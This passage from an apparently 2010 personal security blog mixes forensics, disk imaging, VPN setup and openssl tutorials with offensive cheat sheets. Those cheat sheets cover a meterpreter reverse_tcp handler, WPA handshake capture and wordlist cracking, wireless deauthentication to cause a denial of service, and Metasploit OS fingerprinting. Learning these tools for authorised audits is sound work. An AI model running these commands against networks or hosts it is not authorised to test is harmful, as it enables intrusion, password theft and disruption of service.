# msfcli multi/handler payload=windows/meterpreter/reverse_tcp lport=4444 lhost=192.168.1.53 E

I've had one instance where when i got the reverse meterpreter session connected then disconnected, it refused to automatically connect again. I really had no answer for that problem at the time but what worked for me is that i had to migrate to a process with system priveledges (like explorer.exe) then disconnect. The script then was continually sending its reversing connections as it should back to my metasploit box.

Resources / Good Reading:
http://www.darkoperator.com/
http://pauldotcom.com/2010/04/using-meterpreter-to-control-n.html

Tuesday, June 1, 2010

WPA/WPA2 PSK cracking quick reference

There are too many guides and resources out there to doing this stuff so i wont be giving much explanation and theory on WPA hacking. Remember, this should only be performed on networks that you have permission to audit the security of. This here will serve as a quick and dirty cheatsheet of commands necessary to potentially audit the strength/weakness of your wireless networks using the aircrack-ng or cowpatty to bruteforce the password using a wordlist.

# airmon-ng start wlan0
// put interface in monitor mode

# airodump-ng mon0 // scan air for targets

# airodump-ng --channel 1 --bssid "AP_MAC_addr" -w wpa.cap mon0 //filter capture packets from a specific AP's MAC address and channel

#aireplay-ng --deauth 5 -a "AP_MAC_addr" -c "Client_MAC_addr" mon0 //Perform a deauthentication attack on a client to force reassociation in hope of capturing WPA handshake

When Handshake is captured

using cowpatty:
# cowpatty -f passwords.lst -r wpa.cap -s "essid_of_network" //attempt to bruteforce the password using wordlist

using aircrack-ng:
# aircrack-ng -w passwords.lst -e "essid_of_network" wpa.cap //attempt to bruteforce the password using wordlist

Thursday, May 27, 2010

Forcefully disconnect a wireless client

Is it possible to disconnect a wireless client connected to a highly encrypted wireless network? Uhh, apparently yes. I been messing around with the aircrack-ng suite of tools (again) recently and decided to dive deeper into its capabilities. In a past blog, i wrote briefly about aircrack-ng and cracking WEP keys. I didn't speak in depth about its features then but would like to add just a little bit more. This time i'll be showing some commands that i've used to disconnect one of my wireless laptops, using a netbook that wasn't even autheneticated or connected to my wireless router. What this means is that any user can do a drive by in his automobile and forcefully cause me to disconnect from my wireless router, and cause a denial of service. This denial of service is for a brief period in time as the wireless clients may automatically try to reconnect to their wireless systems.

First turn your wireless card into monitor mode:
# airmon-ng start wlan0

Then scan the air for wireless AP's and clients
# airodump-ng mon0

When you found a an access point that has a client connected, you can filter your scan. This also sets the interface to operate on that particular channel for injecting packets:
# airodump-ng --channel 9 -b aa:aa:aa:aa:aa:aa mon0

And finally, the injection of death frames
#aireplay-ng -a aa:aa:aa:aa:aa:aa -c bb:bb:bb:bb:bb:bb --deauth 1 mon0

'-a' represents the MAC address of the target access point
'-c' represents the MAC address of the target host

Tuesday, May 18, 2010

Quick Hands on with TSK (The Sleuth Kit)

The Sleuth Kit can be characterized as a suite of command line tools that aid in disk image analysis and recovery. It is a free unix package and can be obtained from www.sleuthkit.org. This tool is more in the category of forensics and can aid in uncovering many files and clues etc. Remember, Like any tool, to get the most out of it is dependent on the knowledge and experience of the user to the tool itself.

I wont speak anymore onthe sleuthkit, but rather dive into some of its tools and commands. You can read up more on the suite at www.sleuthkit.org. There is also a nice Web front end to this suite called Autopsy that i may blog about later.

The following examples presumes you already have a disk image, in my case, ill beusing "disk.img". For more options for each program you can type "man program_name" for its man page or "program_name -h" for a brief help page on the program's options

# fsstat disk.img //Displays details of the filesystem contained in the disk image 'disk.img'

fsstat can give you info such as :
  • the filesytem type (fat16/32, ntfs etc.)
  • Number of reserverd sectors
  • Sectors contained withing each fat table and their offset (in sectors)
  • Root directory offset (in sectors)
  • Sector and cluster sizes
# fls disk.img // Lists the files and directory names in disk.img. By default, it will display the file names of recently deleted files as well.

# fls -d disk.img //lists ONLY the recently deleted file entries

The fls program will give you the repective inode numbers for each directory/file entry.

# ils -e disk.img // will list the inode information for every inode. If you remove the '-e' option, by default the program will list inode information for only removed/deleted files. The output information is not human friendly but it can be piped to the mactime program for better analysis

# icat disk.img 5 // copies the data occupied by inode 5 in disk.img. You can use the output of the fls program to obtain these inode number to choose from.

# icat -r disk.img 5 // the '-r' option allows for file recovery techniques to recover the file pointed to by inode 5. This option is only useful with deleted inode entries.

# istat disk.img 5 // Displays the details of the meta-data for inode 5. Details include file size, name, Written, accessed and created time, starting sector and sectors that the inode entry (5) occupies

# ifind -n "test.jpg" disk.img // searches for test.jpg then if found, returns the respective inode number

# ifind -d 536 disk.img // finds the relative inode number given the respective sector num (536 in this case)

# dls disk.img // By default dls copies the data from unallocated blocks only. Add the '-e' option and dls would copy every block, with the output being similar to the dd program

# dcat disk.img 12 //will display the contenst of sector #12

# sigfind 424d disk.img //searches for the magic bytes '424d'(typical for BMP files) throughout the disk image disk.img and return the sector offsets of the hits.

# sigfind -l 4d42 disk.img
// This command will parse throught the entire disk image looking for the magic bytes of "424d" and return the sector offset of the result. The '-l' options means takes the magic bytes to search for in little indian format and must therefore be reversed, hence in our example, -l 4d42.

One common task of a forensic examiner is to perform keyword searches throughout a disk image. You can use the strings command to create an index of all the string characters found withing the image.

# strings -t d disk.img > index.lst // The '-t d' option displays the offset in decimal in which strings can be located or referenced to. You can then use the grep program to parse the strings.lst file for text.

# grep -f kewords.txt index.lst //keywords.txt can be a simple file with keywords like "pass", "password", "confidential", "Credit card", "username", "login", etc. with each word being on a line by itself.

To get information regarding file activity you can issue the following command

# fls -m "/" disk.img | mactime -b // The output of this command will create an ASCII time line of file activity

The above can also be accomplished with:
# ils -m -e disk.img | mactime -b

Resources/Good Reading:
www.sleuthkit.org

Wednesday, May 12, 2010

Data recovery with Fatback and photorec

Fatback is a simple utility used mainly to aid in filerecover from fat16/32 drive types. It is able to give you relevant information including a list of all the files on a drive, including deleted files (Deleted files found within the root directory structure), the starting cluster number of each file, the cluster chain of each file (not applicable to deleted files) and the individual file sizes. It gives you the option to recover files from the clusters that the file occupies (deleted files will not show cluster chains)which makes the tool only relevant for recovery of files from drives that fail to mount or contain multiple bad sectors. Therefore this will not be the tool of choice to recover deleted files, although it does give you enough information to make it possible to manually recover them.

Its usage is very simple:

fatback [block_device]
# fatback /dev/sdb

You will be presented with fatback's sub prompt. You can type 'Help' to see the list of commands avaiable to you. The commands are quite easy to understand and intuitive to use so i will not rant on this tool any longer.

Photorec will be a better tool that you may want to use when attempting to recover deleted files. This tool can recover all kinds of files and doesn't really care about the filesystem. PhotoRec is also companion program to TestDisk, an app for recovering lost partitions on a wide variety of file systems and making non-bootable disks bootable again. It is very important to note that you should not write recovered files back onto the drive that you are recovering files from. By doing this, you can potentialy overwrite important data on that disk. Likewise, As soon as a pic or file is accidentally deleted, or you discover any missing, do NOT save any more pics or files to that memory device or hard disk drive; otherwise you may overwrite your lost data.

Usage:

photorec [Block_device]
# photorec /dev/sdb

This would put you through photorec's interface. The interface is very easy to understand and follow. From here you can select the device you would like to recover files from (if you didn' pass the option as a parameter when calling the program), destination to store the recovered files, files types to restore, etc. You can visually get an idea of photorec's interface and more write up on using the tool from http://www.linux.com/news/enterprise/storage/8257-how-to-recover-lost-files-after-you-accidentally-wipe-your-hard-drive : article written by Shawn Hermans

Resources/Good Reading:

http://www.linux.com/news/enterprise/storage/8257-how-to-recover-lost-files-after-you-accidentally-wipe-your-hard-drive
http://www.cgsecurity.org/wiki/PhotoRec
http://sourceforge.net/projects/fatback/

Wednesday, April 14, 2010

Up and running with Adito (Openvpn ALS) VPN solution

Just recently i've had the opportunity to install the VPN server software, Adito, now known as Openvp-ALS and i find this piece of software to be very impressive. Adito is what is known as a clientless system, which means that no additional client software needs to be installed to connect to the server (you use any web browser as the client). It is based of SSL-Explorer, a once open source project that utilizes SSL technology to establishits VPN tunnels. Adito works similarly with SSL being the very gut of it's VPN system. The project also utilizes java, making it quite universal in the sense that it can be installed on Windows, Linux or a MAC. Because it works over HTTPS you can access your files securely from almost anywhere.

Installing on a linux system:
(System used: Bactrack 4)

NOTE: The following steps were taking from http://jaredheinrichs.com/how-to-install-adito-on-ubuntu-linux.html

# sudo apt-get install default-jre icedtea6-plugin openjdk-6-jdk // if this doesn't work, you may optionally try to install sun-java6-bin sun-java6-jdk sun-java6-plugin sun-java6-jre packages
# sudo apt-get install ant
# sudo wget http://superb-east.dl.sourceforge.net/sourceforge/adito/adito-0.9.1-bin.tar.gz // this link might be broken so you may need to find the updated path for the download
# sudo mv adito-0.9.1-bin.tar.gz /opt/
# cd /opt
# sudo tar -zxvf adito-0.9.1-bin.tar.gz
# cd adito-0.9.1
# sudo ant install

This should start up the webserver on port 28080 on localhost.

Open Browser on your local machine and go to: http://127.0.0.1:28080

Create New Certificate

Step 1 – Set Keystore Passphrase – Type password twice for Cert
Step 2 – Create New Certificate – Fill out Form
Step 3 – Configure User Database – Built-in
Step 4 – Configure Super User – Fill out Form
Step 5 – Configure Web Server – Leave defaults
Step 6 – Configure Proxies – Leave blank unless you use proxy – Hit Next
Step 7 – Summary

Install Complete
install
Go Back to the Ubuntu CLI (Command line interface)
# sudo ant install-service //This sets up the system so you can manage it from /etc/init.d with the usual start|stop|restart commands
# sudo ant start

For installing on windows, please see: http://lars.werner.no/?page_id=153


NOTE: When using backtrack 4 to connect to the VPN server, i ran into issues with the java run-time not being initialized in Firefox. This may be the case with other Linux Distro's as well.To get this working I needed to create a symbolic link to the java run-time plug-in file to my hidden "/root/.Mozilla/plug-ins" directory (in other cases it would be in the user's home directory). The plug-ins directory might not be there as Mozilla probably doesn't have any plug-ins installed as of yet so i went ahead and created that directory.

# cd /home/user_dir/.mozilla
# mkdir plugins
# ln -s /usr/lib/jvm/java-6-sun-1.6.0.10/jre/plugin/i386/ns7/libjavaplugin_oji.so

or if the above doesn't work

cd /usr/lib/firefox-dir/plugins
# ln -s /usr/lib/jvm/java-6-sun-1.6.0.10/jre/plugin/i386/ns7/libjavaplugin_oji.so

Restart Firefox and all should be well

Resources / Good Reading:
http://jaredheinrichs.com/how-to-install-adito-on-ubuntu-linux.html
http://sourceforge.net/projects/openvpn-als/
http://www.sohoadvisers.com/tutorials/adito-ssl-vpn/installing-adito-ssl-vpn
http://lars.werner.no/?page_id=153

Monday, April 12, 2010

Image partitions with the linux tool Partimage

Just recently i was looking at some alternative partition cloning software to the one i frequently use, driveimagexml. Not that their was anything wrong with DriveImageXML, i just was looking for a linux alterative. Little did i know, built into backtrack 4 was a piece of software called partimage which would accomplish pretty much what i would want. As in my recent posts on dd, one disadvantage to dd is that it backs up an entire partition, not just the used space. So if you have a 10 gig partition and only 2 gigs is used up, dd would produce a 10 gig exact copy of the partition. Partimage however only backs up the used portion of the partition saving you time and space.

To launch/use partimage:
# partimage

This launches an n-curses based user interface which is far from complicated and the options doesn't really need much explanation

For more info on its usage, see www.psychocats.net/ubuntu/partimage or www.partimage.org

Sunday, April 11, 2010

Hexedit a hard disk

I'm gonna be simply changing a flag within the boot sector that identifies the system (or boot) partition. This will serve as the basic principles behind doing low level hard disk analysis and editing, typically common withing digital forensics.

The boot sector is the first 512 bytes on a hard disk (446 bytes for bootloader code, 64 bytes for partition table, and the last two bytes in the sector are a signature word for the sector and are always hex 55 AA). The partition table contains the entries for the primary and extended partitions and each entry is 16 bytes long, giving a maximum of 4 entries available.

The following table describes each entry in the Partition Table. The sample values correspond to the information for partition 1.(taken from http://www.ntfs.com/partition-table.htm)

Partition Table Fields

Byte Offset

Field Length

Sample Value

Meaning

00

BYTE

0x80

Boot Indicator. Indicates whether the partition is the system partition. Legal values are:
00 = Do not use for booting.
80 = System partition.

01

BYTE

0x01

Starting Head.

02

6 bits

0x01

Starting Sector. Only bits 0-5 are used. Bits 6-7 are the upper two bits for the Starting Cylinder field.

03

10 bits

0x00

Starting Cylinder. This field contains the lower 8 bits of the cylinder value. Starting cylinder is thus a 10-bit number, with a maximum value of 1023.

04

BYTE

0x06

System ID. This byte defines the volume type. In Windows NT, it also indicates that a partition is part of a volume that requires the use of the HKEY_LOCAL_MACHINE\SYSTEM\DISK Registry subkey.

05

BYTE

0x0F

Ending Head.

06

6 bits

0x3F

Ending Sector. Only bits 0-5 are used. Bits 6-7 are the upper two bits for the Ending Cylinder field.

07

10 bits

0x196

Ending Cylinder. This field contains the lower 8 bits of the cylinder value. Ending cylinder is thus a 10-bit number, with a maximum value of 1023.

08

DWORD

3F 00 00 00

Relative Sector.

12

DWORD

51 42 06 00

Total Sectors.


First we identify the partition table.
# xxd -l 64 -s +446 /dev/sdb // jumps to the offset at byte position 446 and displays the next 64 bytes which will be the partition table

Now according to the partition table field the first byte( of the 16 byte per entry) represents the boot indicator field. When the BIOS passes control to the boot sector, the code withing the fist 446 bytes looks at the partition table and identifies the boot/system partition (Legal values are hex value 80 or 00: 00 = Do not use for booting, 80 = System partition). We are gonna change this system partiton flag to 00. This will see the partition as unbootable.

So the MBR is 446 bytes in length(offset 0-445). The next 64 bytes represents the partition table consisting of a possible 4 entries (16 bytes x 4). The first byte of each entry indicates whether its the system partition or not. If their was only one partiton then the bytes 446 - 462 would contain values, whilst the rest of the entries would be all zero's.

To change the first partition entry system id field, we want to put the value of hexadecimal 00 at offset 446 bytes. First we create a simple text file with only the value of 00 in it. Then we use the 'xxd' program to convert this simple text file into a binay file containing only the hex value of 00.

# echo "00" | xxd -ps -r > byte.bin

Now to get that byte written into offset 446 you use the 'dd' program.
# dd if=byte.bin of=/dev/sdb seek=446 bs=1 count=1// reads and writes 1byte , 1 time, from byte.bin file at offest 446 into the block device /dev/sdb

To do this all in one command, we can make use of pipes:
# echo "00" | xxd -ps -r | dd of=/dev/sdb seek=446 bs=1 count=1

References/Good reading:
http://www.ntfs.com/partition-table.htm
http://www.linuxquestions.org/questions/linux-newbie-8/learn-the-dd-command-362506/

Thursday, April 8, 2010

Using 'dd' or 'dcfldd'for disk imaging and backup

DD is a very ancient unix utility that still has its superiority in the disk imaging and cloning categories of tools. Being command lined based, it reads from standard input and write to its standard output which allows you to use 'pipes' for advanced processing and remote networking capabilities.

DCFLDD is an enhanced version of dd and follows the same structure when passing arguments, i.e, keyword=value format. The commands are almost identical so you can pretty much use the same commands that you use in dd with dcfldd but not necessarily the other way around as the later has some enhancements that dd does not have. Some of dcfldd enhancements include
  • Hashing on-the-fly - dcfldd can hash the input data as it is being transferred, helping to ensure data integrity.
  • Status output - dcfldd can update the user of its progress in terms of the amount of data transferred and how much longer operation will take.
  • Flexible disk wipes - dcfldd can be used to wipe disks quickly and with a known pattern if desired.
  • Image/wipe Verify - dcfldd can verify that a target drive is a bit-for-bit match of the specified input file or pattern.
  • Multiple outputs - dcfldd can output to multiple files or disks at the same time.
  • Split output - dcfldd can split output to multiple files with more configurability than the split command.
  • Piped output and logs - dcfldd can send all its log data and output to commands as well as files natively.


Using dd you can create backups of an entire harddisks or just parts of it.
Hard disk copy/Back up::
# dd if=/dev/sda of=/dev/sdb
# dd if=/dev/sda of=/path/to/image
# dd if=/dev/sda | gzip > /path/to/image.gz //makes image of sda disk and pipes it to the gzip program for compression of the backup image file image.gz

Restore Backup
# dd if=/path/to/image of=/dev/sda
# gzip -dc /path/to/image.gz | dd of=/dev/sda

MBR Backup
# dd if=/dev/sda of=/path/to/mbr/image count=1 bs=512

MBR Restore
# dd if=/path/to/mbr/image of=/dev/sda
add "count=1 bs=446" to exclude the partiton table

More Advance commands
# dcfldd if=/dev/sda of=/path/to/image bs=4096 conv=notrunc,noerror //

make an iso image of CD
# dcfldd if=/dev/cd of=/home/mycd.iso bs=2048 conv=notrunc // CD sectors are 2048 bytes so this copies sector to sector.
The result will be a hard disk image file of the CD. You can use "chmod a+rwx mycd.iso" to make the image writable.

make an iso image of Hard disk
# dcfldd if=/dev/hda of=/home/disk.iso bs=4096 conv=notrunc,noerror

To mount the image: # mount -o loop /path/to/image /mnt/mountpoint

In some cases, you would not be able to mount the image file. What you need to do is determine the offset of the sector (not the cyclinder). You can get the cylinder offests using fdisk.

First, associate one of the loop interfaces with the image file # losetup /dev/loop0 /path/to/image

Then
# fdisk -l /dev/loop0
Disk /dev/sdb: 8036 MB, 8036285952 bytes
255 heads, 63 sectors/track, 977 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: 0x00000000

Device Boot Start End Blocks Id System
/dev/sdb1 * 1 976 7839698 b W95 FAT32

What we really want is the offset of the sector so we add the '-u' flag to fdisk
# fdisk -ul /dev/loop0
Disk /dev/sdb: 8036 MB, 8036285952 bytes
255 heads, 63 sectors/track, 977 cylinders, total 15695871 sectors
Units = sectors of 1 * 512 = 512 bytes
Disk identifier: 0x00000000

Device Boot Start End Blocks Id System
/dev/sdb1 * 44 15679439 7839698 b W95 FAT32


We then take the start of the partition that you want to edit 44 in this case and multiply it by 512 ie 512*44=22528

then mount like this: # mount -o loop,offset=22528 /dev/loop0 /mnt/mountpoint

Thursday, March 25, 2010

Getting started with openssl

According to its manpage, it is a cryptography toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security network protocols and related cryptography standards required by them. It is indeed a command line tool and allows you to create RSA and DSA keys, x.509 certificates, calculation of message digests, encryption and decryption of files with optional ciphers, etc. As there are so many ways to use this tool, i will show some of its basic usages that one may find useful.

# openssl -h // for command switches
# man openssl //Documentation of the tool
# openssl list-standard-commands // list standard commands. Doesn't say what they do so you are better off using "man openssl"
# openssl list-cipher-commands //list different symmetric ciphers you can use for encrytpion
# openssl list-message-digest-commands //lists different hashing algorithms you can use for data integrity checking

# echo "password" | openssl md5 //creates the md5 hash for the string password
# echo "password" | openssl enc -md5 //does the same thing as previous example
# openssl bf -in myfile.txt -out myfile.txt.enc //encrypts the file "myfile.txt" using the blowfish cipher 'bf' to a new file 'myfile.txt.enc'. You can now delete the old file

# openssl enc -bf -in myfile.txt -out myfile.txt.enc //encrypts the file "myfile.txt" using the blowfish cipher 'bf' to a new file 'myfile.txt.enc'. Equivallent to the above command.

# openssl enc -bf -d -in myfile.txt.enc -out myfile.txt //decrypts the file "myfile.txt.enc" using the blowfish cipher 'bf' and outputs the decrypted file to a new filename 'myfile.txt'.

Using Public Key Cryptography

# openssl genrsa -out private.key //Generates private key

# openssl rsa -pubout -in private.key -out public.key //generates public key from the private key

# openssl rsautl -encrypt -inkey public.key -pubin -in test.txt -out test.txt.pub //encrypt a file with public key. Note that you are limited to small file sizes

# openssl rsautl -decrypt -inkey private.key -in test.txt.pub -out test.txt //decrypts the file with the private key

Monday, March 22, 2010

Using Metasploit for OS fingerprinting

Metasploit is primarilly a framework for developing and testing exploits. It comes with a suite of supporting tools that aid in exploit development, including port scanners. We can use one of these scanners to scan for open ports and fingerprint Windows services as well as the OS type. Using the following commands we can quickly fingerprint the SMB port of 445 to determine the OS version.

# ./msfconsole //launches the framework

msf> use auxiliary/scanner/portscan/syn
msf auxiliary(syn)>show options
set the necessary options, using port 445 as the port
msf auxiliary(smb version)>run
[*] TCP OPEN 192.168.1.61:445
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


Then based on your results, if port 445 is open on the host, use
msf> use auxiliary/scanner/smb/smb_version
msf auxiliary(smb version)>show options
set the rhosts option then run the auxiliary module:
msf auxiliary(smb version)>run
[*] 192.168.1.61 is runnnin Windows XP Service Pack 3(Language: English) (name:PC1) (domain:PC1)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

As you can see, withing a few simple metasploit commands you can determine the OS type of a remote system. This however uses the SMB port of 445 and is a requirement for this experiment. Then are other ways to determine this information but this is one of the most reliable methods.